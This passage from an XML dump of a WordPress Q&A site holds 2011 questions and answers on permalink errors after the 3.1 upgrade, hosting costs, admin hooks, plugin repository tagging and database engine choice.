CPU time and memory are tied up with MySQL.  With this $20 account I'm sure I could serve 1 million pages per month without any issue.  (Good month I serve ~333k pages.)  If you look in the Linode forums, sounds like you can serve tons more than 1 million pages per month with just one Linode 512 before needing to upgrade to a Linode with more memory or moving MySQL to its own VPS (which would be super easy.)  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In conclusion, WordPress itself is not really the bottleneck.  At least in terms of money, your biggest expense is not servers--assuming your plugins aren't killing you.  If you're running over 1 million visits/month, your biggest hosting expense is probably bandwidth, not the server!  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I don't work for Linode.  The Linode 512, I believe you share it with 40 people.  The bigger plans you're sharing with fewer people.&lt;/p&gt;&#xA;" OwnerUserId="3453" LastActivityDate="2011-02-24T03:24:55.593" />
  <row Id="10268" PostTypeId="2" ParentId="10259" CreationDate="2011-02-24T03:29:35.707" Score="2" ViewCount="" Body="&lt;p&gt;Make sure you're not accidentally loading jQuery 1.5.0 from somewhere like Google's CDN or something. jQuery 1.5.0 is &lt;em&gt;not&lt;/em&gt; backwards compatible, and the timing of its release prevented it from making it into WordPress 3.1.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-24T03:29:35.707" />
  <row Id="10269" PostTypeId="1" AcceptedAnswerId="10298" CreationDate="2011-02-24T04:32:55.803" Score="0" ViewCount="723" Body="&lt;p&gt;Today morning I updated my wordpress, everything was fine, but suddenly I came to know that if I click on any post which is not having custom taxonomies selected in it, are giving me 404 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this is due to some plugins, so I deactivated all the plugins, and then I checked, everything was working, then I activated one by one plugin and came to know the actual plugin due to which I was getting 404 is &lt;strong&gt;GD Custom Posts And Taxonomies Tools plugin&lt;/strong&gt;, which I was using for creating custom Taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my other posts were working without 404, so i dig my head more into my wordpress, and came to know  that my url structure is not supporting wordpress 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my permalinks structure, I am using custom taxonomies, which was working fine till wordpress 3.0.5,&#xA;My permalink structure is this &lt;code&gt;/%postname%/%location%/%mba_courses%/&lt;/code&gt; where location and mba_courses are my custom taxonomies,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this work I am using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_link', 'location_permalink', 10, 3);&#xA;add_filter('post_type_link', 'location_permalink', 10, 3);&#xA;function location_permalink($permalink, $post_id, $leavename) {&#xA;    if (strpos($permalink, '%location%') === FALSE) return $permalink;&#xA;&#xA;        // Get post&#xA;        $post = get_post($post_id);&#xA;        if (!$post) return $permalink;&#xA;&#xA;        // Get taxonomy terms&#xA;        $terms = wp_get_object_terms($post-&amp;gt;ID, 'location');    &#xA;        if (!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms) &amp;amp;&amp;amp; is_object($terms[0])) $taxonomy_slug = $terms[0]-&amp;gt;slug;&#xA;        else $taxonomy_slug = 'location';&#xA;&#xA;    return str_replace('%location%', $taxonomy_slug, $permalink);&#xA;}&#xA;&#xA;add_filter('post_link', 'mba_courses_permalink', 10, 3);&#xA;add_filter('post_type_link', 'mba_courses_permalink', 10, 3);&#xA;&#xA;function mba_courses_permalink($permalink, $post_id, $leavename) {&#xA;    if (strpos($permalink, '%mba_courses%') === FALSE) return $permalink;&#xA;&#xA;        // Get post&#xA;        $post = get_post($post_id);&#xA;        if (!$post) return $permalink;&#xA;&#xA;        // Get taxonomy terms&#xA;        $terms = wp_get_object_terms($post-&amp;gt;ID, 'mba_courses'); &#xA;        if (!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms) &amp;amp;&amp;amp; is_object($terms[0])) $taxonomy_slug = $terms[0]-&amp;gt;slug;&#xA;        else $taxonomy_slug = 'mba_courses';&#xA;&#xA;    return str_replace('%mba_courses%', $taxonomy_slug, $permalink);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I make this work in 3.1 or is their any feature in 3.1 where I can have custom taxonomies on my permalink?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-03-20T08:32:19.990" Title="Wordpress 3.1 problem, getting 404" Tags="&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="2" />
  <row Id="10270" PostTypeId="2" ParentId="10264" CreationDate="2011-02-24T05:05:53.570" Score="1" ViewCount="" Body="&lt;p&gt;Typically, I find these issues are related to database rights. Check the security for the DB and the user. Sorry, that's all I've got. - Mike&lt;/p&gt;&#xA;" LastActivityDate="2011-02-24T05:05:53.570" CommentCount="2" />
  <row Id="10271" PostTypeId="1" AcceptedAnswerId="10272" CreationDate="2011-02-24T05:23:09.973" Score="0" ViewCount="65" Body="&lt;p&gt;In Which version of WordPress did term_exists() first appear?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-24T05:29:23.783" Title="Fatal error: Call to undefined function term_exists()" Tags="&lt;fatal-error&gt;" AnswerCount="1" />
  <row Id="10272" PostTypeId="2" ParentId="10271" CreationDate="2011-02-24T05:29:23.783" Score="0" ViewCount="" Body="&lt;p&gt;Its since wordpress 3.0&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/term_exists#Change_Log&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/term_exists#Change_Log&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-02-24T05:29:23.783" CommentCount="1" />
  <row Id="10275" PostTypeId="2" ParentId="10230" CreationDate="2011-02-24T07:06:10.873" Score="0" ViewCount="" Body="&lt;p&gt;put this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_format_artist_links($urls) {&#xA;    $urls = explode(',', $urls);&#xA;    $links = array();&#xA;    foreach ($urls as $url) {&#xA;        if (empty($url)) continue;&#xA;        $links[] = '&amp;lt;a href=&quot;http://'.$url.'&quot;&amp;gt;'.$url.'&amp;lt;/a&amp;gt;';&#xA;    }&#xA;    return implode(',', $links);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;span&amp;gt;Link(s):&amp;lt;/span&amp;gt; &amp;lt;?=$artist_links?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;span&amp;gt;Link(s):&amp;lt;/span&amp;gt; &amp;lt;?php echo my_format_artists_links($artist_links); ?&amp;gt;&amp;lt;/p&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-24T08:06:41.437" LastActivityDate="2011-02-24T08:06:41.437" CommentCount="5" />
  <row Id="10276" PostTypeId="2" ParentId="10265" CreationDate="2011-02-24T07:29:27.600" Score="1" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-https/&quot; rel=&quot;nofollow&quot;&gt;WP HTTPS plugin&lt;/a&gt;, it has a Shared SSL option. Also see &lt;a href=&quot;http://wordpress.org/support/topic/plugin-wordpress-https-what-is-the-purpose-of-the-shared-ssl-option&quot; rel=&quot;nofollow&quot;&gt;discussion here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-24T07:29:27.600" CommentCount="2" />
  <row Id="10277" PostTypeId="2" ParentId="10264" CreationDate="2011-02-24T07:52:50.707" Score="0" ViewCount="" Body="&lt;p&gt;Open your favorite SQL frontend...find the &lt;code&gt;wp_options&lt;/code&gt; table. Search for the &lt;code&gt;sidebar_widgets&lt;/code&gt; key. You'll find a serialized array in the &lt;code&gt;option_value&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either try identifying which one is the malicious text widget in question and hand-remove it from the serialized array (which requires you to be able to interpret/rewrite serialization), or just wipe the whole &lt;code&gt;option_value&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will hopefully give you access to admin again and you can then reconfig your widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: second approach:&#xA;Ok...try this instead: look for &lt;code&gt;widget_text&lt;/code&gt;. Again, you'll find a big serialized array. You'll find a pattern in there like this: &lt;code&gt;a:3:{s:5:&quot;title&quot;;s:...:&quot;.......&quot;;s:4:&quot;text&quot;;s:...:&quot;........&quot;&lt;/code&gt; Each of those is the beginning of the definition of one of your text widgets. Find the one that looks like the twitter one and erase everything between the quotation marks of the &lt;code&gt;text&lt;/code&gt; part (that is the fourth set of quotation marks in the above pattern).&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-24T08:16:05.700" LastActivityDate="2011-02-24T08:16:05.700" CommentCount="8" />
  <row Id="10278" PostTypeId="1" CreationDate="2011-02-24T08:04:51.440" Score="0" ViewCount="63" Body="&lt;p&gt;As there is tagging feature built-in wordpress already, but why so many people recommend &quot;simple tagging&quot; plugin. Now i just need a feature of tags link. Is there the built-in a easy way to implement it by built-in tag system? I often feel confused there are two places to input tags before my eye when editing post. And i'm afraid my tags will lost if one day i do not use this plugin anymore for some reasons&lt;/p&gt;&#xA;" LastActivityDate="2011-06-24T18:16:56.007" Title="Is there any necessary to use tag plugins like simple tagging in wordpress 3.0+" Tags="&lt;plugins&gt;&lt;tags&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10279" PostTypeId="1" CreationDate="2011-02-24T08:19:57.220" Score="0" ViewCount="93" Body="&lt;p&gt;I updated options page of my old plugin by &lt;a href=&quot;http://codex.wordpress.org/Creating_Options_Pages&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;.&#xA; I added settings_fields&amp;amp;register_setting functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the update, if I save the settings in page, the settings saved but I  redirect to options.php page and not back to plugin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-24T08:19:57.220" Title="options page of my plugin redirect to options.php page after saving" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="10280" PostTypeId="2" ParentId="10278" CreationDate="2011-02-24T08:32:16.797" Score="1" ViewCount="" Body="&lt;p&gt;Edit (now the answer on this question): The (former known as) &quot;simple tagging&quot; plugin seems to just add management features for tagging (like mass editing, etc.) plus allows tags for &quot;pages&quot; *). The all over look let's me think, that the plugin doesn't offer anything that's not delivered by wp core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*) Pages &amp;amp; Posts are only builtin definitions of &quot;post types&quot;, like categories &amp;amp; tags are builtin &quot;taxonomies&quot;. So you got a 99% chance that none of your data get's lost even if you deactivate the plugin, as the data should stay in the postsmeta table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, i'd suggest to look at the plugin code and/or ask the author about the possibility of data loss after deactivation or uninstall.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-24T15:47:10.790" LastActivityDate="2011-02-24T15:47:10.790" CommentCount="2" />
  <row Id="10281" PostTypeId="1" AcceptedAnswerId="10312" CreationDate="2011-02-24T08:53:23.030" Score="0" ViewCount="58" Body="&lt;p&gt;i am working on a theme in which points are added in user meta when he does a post... it works fine but the problem is when a post is deleted by the admin then the point should be reduced and the author should get intimation . The main problem is getting the author id of the post and doing function after the post is deleted.... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code i am trying is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function deletePointFromUser($post_ID) {&#xA;global $wpdb;&#xA;$authorid = $wpdb-&amp;gt;get_var('SELECT post_author FROM wp_posts WHERE post_id = $post_ID');&#xA;$currentPointNumber = get_usermeta($authorid, 'points');&#xA;&#xA;//Delete 1 to the current Point Score&#xA;$newPointNumber = $currentPointNumber - 1;  &#xA;update_usermeta( $authorid, 'points', $newPointNumber); &#xA; }&#xA;add_action('deleted_post', 'deletePointFromUser');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3468" LastActivityDate="2011-02-24T14:27:57.447" Title="Notify Author of the post if admin deletes his post and perform some function" Tags="&lt;posts&gt;&lt;author&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10282" PostTypeId="2" ParentId="10264" CreationDate="2011-02-24T09:02:02.173" Score="1" ViewCount="" Body="&lt;p&gt;ON DUPLICATE KEY UPDATE is one of several MySQL-specific things used by WP. Best I'm aware there is no equivalent in SQL-Server. You'll get a syntax error no matter unless you regexp_replace() every query sent to the DB server in order to rewrite the SQL as needed for your specific engine.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-24T09:02:02.173" CommentCount="1" />
  <row Id="10283" PostTypeId="1" AcceptedAnswerId="10293" CreationDate="2011-02-24T09:07:25.783" Score="0" ViewCount="169" Body="&lt;p&gt;I'm looking for the action hook corresponding to the click on the &quot;Add page&quot; link. Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2011-02-24T11:32:37.217" LastActivityDate="2011-02-24T11:32:37.217" Title="Is there an &quot;Add Page&quot; hook?" Tags="&lt;hooks&gt;" AnswerCount="2" />
  <row Id="10284" PostTypeId="2" ParentId="9587" CreationDate="2011-02-24T09:13:11.693" Score="0" ViewCount="" Body="&lt;p&gt;I found out that when retrieving the taxonomy you have to do this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $args = array(&#xA;        'hide_empty' =&amp;gt; true,&#xA;        'taxonomy' =&amp;gt; 'projet_thematique'&#xA;    );&#xA;    $thematiques = get_terms('projet_thematique', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing was done by adding the 'taxonomy' as an argument as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it will be usefull for others ;)&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2011-02-24T09:13:11.693" />
  <row Id="10285" PostTypeId="1" CreationDate="2011-02-24T09:31:40.877" Score="1" ViewCount="383" Body="&lt;p&gt;How do I query_posts and only show results if a custom field is not empty or has a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to put in a url in a custom field and only show these pages if there is a url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;current code but I can't figure out the rest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$args = array( 'posts_per_page' =&gt; '10', &#xA;    'post_type' =&gt; 'programmes', &#xA;    'orderby' =&gt; 'meta_value_num', 'meta_key' =&gt; 'popularityfig',&#xA;    'order'  =&gt; 'DESC',&#xA;    );&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-03-11T02:56:30.553" Title="query_posts and only show results if a custom field is not empty" Tags="&lt;custom-field&gt;&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="10286" PostTypeId="2" ParentId="10285" CreationDate="2011-02-24T09:53:51.513" Score="1" ViewCount="" Body="&lt;p&gt;Try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;'posts_per_page' =&amp;gt; '10',&#xA;'post_type' =&amp;gt; 'programmes',&#xA;'meta_key' =&amp;gt; 'popularityfig',&#xA;'meta_value' =&amp;gt; '',&#xA;'meta_compare' =&amp;gt; '!=',&#xA;'order' =&amp;gt; 'DESC'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There're 2 arguments you might want to note in the code: &lt;code&gt;meta_value&lt;/code&gt; and &lt;code&gt;meta_compare&lt;/code&gt;. Using &lt;code&gt;meta_compare&lt;/code&gt; with operator &lt;code&gt;!=&lt;/code&gt; will exclude posts with empty meta value.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-02-24T09:53:51.513" CommentCount="1" />
  <row Id="10287" PostTypeId="1" AcceptedAnswerId="10300" CreationDate="2011-02-24T09:55:00.703" Score="1" ViewCount="101" Body="&lt;p&gt;Is there a nice way to load a js file based on the post type being viewed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a supplier which has a map on it but I only want the load the js when a single one is being viewed. I load the script in my functions.php file. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-24T14:33:50.140" LastActivityDate="2011-02-24T14:33:50.140" Title="Load scripts based on post type" Tags="&lt;custom-post-types&gt;&lt;functions&gt;" AnswerCount="2" />
  <row Id="10288" PostTypeId="1" AcceptedAnswerId="10291" CreationDate="2011-02-24T10:02:24.820" Score="1" ViewCount="42" Body="&lt;p&gt;I am a little confused about that. If I want tags/1.2.3 to be available for download instead of the one in trunk, how do I do that? In the FAQ, it says that I should change stable tag to 1.2.3 in trunk/readme.txt. I did that but WPD is still showing the old version in the trunk. I thought it would automatically package tags/1.2.3 after changing stable tag in trunk/readme.txt. Or I am doing it wrong?&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-18T12:52:50.427" LastActivityDate="2011-03-18T12:52:50.427" Title="Which directory in my plugin repo does Wordpress Plugin Directory package?" Tags="&lt;plugin-development&gt;&lt;repository&gt;" AnswerCount="1" />
  <row Id="10289" PostTypeId="2" ParentId="10287" CreationDate="2011-02-24T10:11:56.583" Score="0" ViewCount="" Body="&lt;p&gt;you can use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init','load_my_script');&#xA;function load_my_script() {&#xA;  global $typenow;&#xA;  if (empty($typenow) &amp;amp;&amp;amp; !empty($_GET['post'])) {&#xA;    $post = get_post($_GET['post']);&#xA;    $typenow = $post-&amp;gt;post_type;&#xA;  }&#xA;  if (!is_admin() &amp;amp;&amp;amp; is_single() &amp;amp;&amp;amp; $typenow=='your post type') {&#xA;    //load your script here&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T10:11:56.583" CommentCount="3" />
  <row Id="10290" PostTypeId="2" ParentId="10283" CreationDate="2011-02-24T10:14:21.243" Score="2" ViewCount="" Body="&lt;p&gt;you can use the admin_init hook and add you conditionals to page something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init','load_my_code');&#xA;function load_my_code() {&#xA;  global $typenow;&#xA;  if (empty($typenow) &amp;amp;&amp;amp; !empty($_GET['post'])) {&#xA;    $post = get_post($_GET['post']);&#xA;    $typenow = $post-&amp;gt;post_type;&#xA;  }&#xA;  if (is_admin() &amp;amp;&amp;amp; $typenow=='page') {&#xA;    //do your stuff here&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T10:14:21.243" CommentCount="1" />
  <row Id="10291" PostTypeId="2" ParentId="10288" CreationDate="2011-02-24T10:30:33.247" Score="2" ViewCount="" Body="&lt;p&gt;you have to commit  the changes to the /trunk directory yourself, changing the version number in the /trunk/readme.txt is not going to do this on its own.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Whenever i update a version say from 1.0.0 to 2.0.0 i first create a directory in /tags&#xA;and name it just like the last version 1.0.0&#xA;the i copy everything from /trunk to it so if someone wants an older version he can get it.&#xA;the i just commit any changes of the new version to /trunk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically trunk holds only the latest version (no need to create a new directory in trunk.)&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-24T11:42:23.367" LastActivityDate="2011-02-24T11:42:23.367" CommentCount="5" />
  <row Id="10292" PostTypeId="1" AcceptedAnswerId="10294" CreationDate="2011-02-24T10:44:14.847" Score="0" ViewCount="119" Body="&lt;p&gt;I am building a wordpress plugin that needs to allow the admin to upload CSS documents, and attach thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if there are any methods within wordpress that would be useful in assisting me in building an admin page that allows upload and deletion of css documents and images.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-02-24T14:34:42.913" Title="custom uploader in the admin area" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;uploads&gt;" AnswerCount="2" />
  <row Id="10293" PostTypeId="2" ParentId="10283" CreationDate="2011-02-24T10:49:46.357" Score="1" ViewCount="" Body="&lt;p&gt;If you want to target the admin page that displays the post editor, you'll likely need to hook to two places whether it's for a script or style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd use the top two for scripts and the bottom two for styles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Script action for the post new page    &#xA;add_action( 'admin_print_scripts-post-new.php', 'example_callback' );&#xA;&#xA;// Script action for the post editting page    &#xA;add_action( 'admin_print_scripts-post.php', 'example_callback' );&#xA;&#xA;// Style action for the post new page    &#xA;add_action( 'admin_print_styles-post-new.php', 'example_callback' );&#xA;&#xA;// Style action for the post editting page &#xA;add_action( 'admin_print_styles-post.php', 'example_callback' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wanted to target a particular post type, simply global &lt;code&gt;$post_type&lt;/code&gt; inside your callback function, like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function example_callback() {&#xA;    global $post_type;&#xA;    // If not the desired post type bail here.&#xA;    if( 'your-type' != $post_type )&#xA;        return;&#xA;&#xA;    // Else we reach here and do the enqueue / or whatever&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're enqueuing scripts(not styles) specifically there is a hook that runs earlier called &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; which passes on the hook as the first arg, so you could also do it like this for scripts..(if you were hooking onto &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; instead of the two &lt;code&gt;admin_print_scripts&lt;/code&gt; actions above).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function example_callback( $hook ) {&#xA;    global $post_type;&#xA;&#xA;    // If not one of the desired pages bail here.&#xA;    if( !in_array( $hook, array( 'post-new.php', 'post.php' ) ) )&#xA;        return;&#xA;&#xA;    // If not the desired post type bail here.&#xA;    if( 'your-type' != $post_type )&#xA;        return;&#xA;&#xA;    // Else we reach here and do the enqueue / or whatever&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These hooks exist exactly for this type of thing, you shouldn't need to fire things as early as &lt;code&gt;admin_init&lt;/code&gt; unless your specific use case dictates a requirement to. If you're unsure, chances are you don't need to fire your code that early.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-24T10:49:46.357" CommentCount="1" />
  <row Id="10294" PostTypeId="2" ParentId="10292" CreationDate="2011-02-24T10:57:48.787" Score="2" ViewCount="" Body="&lt;p&gt;You can use the file uploader that come with Wordpress, using this guide to insert it in your meta-box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create some custom fields and use it to upload thumbnails or CSS to your server.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-24T10:57:48.787" />
  <row Id="10295" PostTypeId="1" CreationDate="2011-02-24T11:03:04.617" Score="1" ViewCount="240" Body="&lt;p&gt;Hay All, when i run the auto-update for WordPress 3.1 it doesn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Downloading update from http://wordpress.org/wordpress-3.1.zip…&#xA;Unpacking the update…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then the browser stops, it leaves a 3 megabyte &quot;wordpress-3.tmp&quot; file in my wp-content folder.&lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-24T14:20:13.260" LastActivityDate="2011-05-30T22:58:15.290" Title="Wordpress 3.1 not autoupdating" Tags="&lt;auto-update&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="10296" PostTypeId="1" AcceptedAnswerId="10318" CreationDate="2011-02-24T11:14:40.727" Score="0" ViewCount="89" Body="&lt;p&gt;I have a client who is trying to inject some JS directly into a post using the web interface. The script is stripped out on the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to replicate this behavior on a local installation. The JS is added as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main difference between my installation and the client's is that my installation is a fresh WP3 installation, whereas the client's is WP3 upgraded from WP2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a configuration option or a legacy issue? Is there some other reason why this might be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rich&lt;/p&gt;&#xA;" OwnerUserId="2053" LastActivityDate="2011-03-26T18:30:06.797" Title="Injecting JavaScript into a Post with WP3.x" Tags="&lt;posts&gt;&lt;javascript&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="10297" PostTypeId="1" CreationDate="2011-02-24T11:28:36.910" Score="1" ViewCount="345" Body="&lt;p&gt;As a custom menu item wp doesn't add the class current_page_item &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other links it does?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav&quot; id=&quot;menu-mainmenu&quot;&amp;gt;&amp;lt;li class=&quot;menu-item menu-item-type-custom menu-item-home menu-item-21152&quot; id=&quot;menu-item-21152&quot;&amp;gt;&amp;lt;a href=&quot;http://mydomain/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;menu-item menu-item-type-post_type current-menu-item page_item page-item-21154 current_page_item menu-item-21156&quot; id=&quot;menu-item-21156&quot;&amp;gt;&amp;lt;a href=&quot;http://mydomain/&quot;&amp;gt;Future TV Guide&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;menu-item menu-item-type-post_type menu-item-21153&quot; id=&quot;menu-item-21153&quot;&amp;gt;&amp;lt;a href=&quot;http://mydomain/&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to show it as an active link&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-07-25T01:28:20.000" Title="How do I add (css) class to a custom link to make it current_page_item" Tags="&lt;custom-menus&gt;&lt;css&gt;" AnswerCount="2" />
  <row Id="10298" PostTypeId="2" ParentId="10269" CreationDate="2011-02-24T11:33:55.327" Score="0" ViewCount="" Body="&lt;p&gt;Why not post it on the dev4press.com forum? They have really good support. Milan is pretty quick to respond too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't yet tried using my version of this plugin on 3.1. Just GD Press Tools.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-24T11:33:55.327" CommentCount="3" />
  <row Id="10299" PostTypeId="1" CreationDate="2011-02-24T11:34:44.407" Score="6" ViewCount="388" Body="&lt;p&gt;I have a Wordpress site with well over 10k posts, and things are starting to get very slow when adding and editing posts. Pages load nice and fast for users, along with the admin lists of posts, but it is when writes or updates occur the server goes to 100% CPU and takes a long time (sometimes longer than PHP's timeout of 60s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking that this is likely to do with the table level locking of MyISAM, and am thinking of switching this to InnoDB. What are the implications of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some stats:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select  - per hour ~22k&#xA;update  - per hour ~7.6k&#xA;set option  - per hour ~7k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know there are lots of other optimizations I can make, but my feelings are that this might have the biggest impact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I have found one of the major problems causing the slowness, it was YARPP (Yet Another Related Posts Plugin) that was regenerating the &quot;relatedness&quot; each time, and this seemed to be due to the 2k+ tags we have. I turned off the &quot;consider tags&quot; option and it has sped up considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, other plugins that regenerate things can cause these kind of issues, such as some XML sitemap plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my immediate issue is resolved, although I would still love to hear a good answer to InnoDB vs MyISAM for 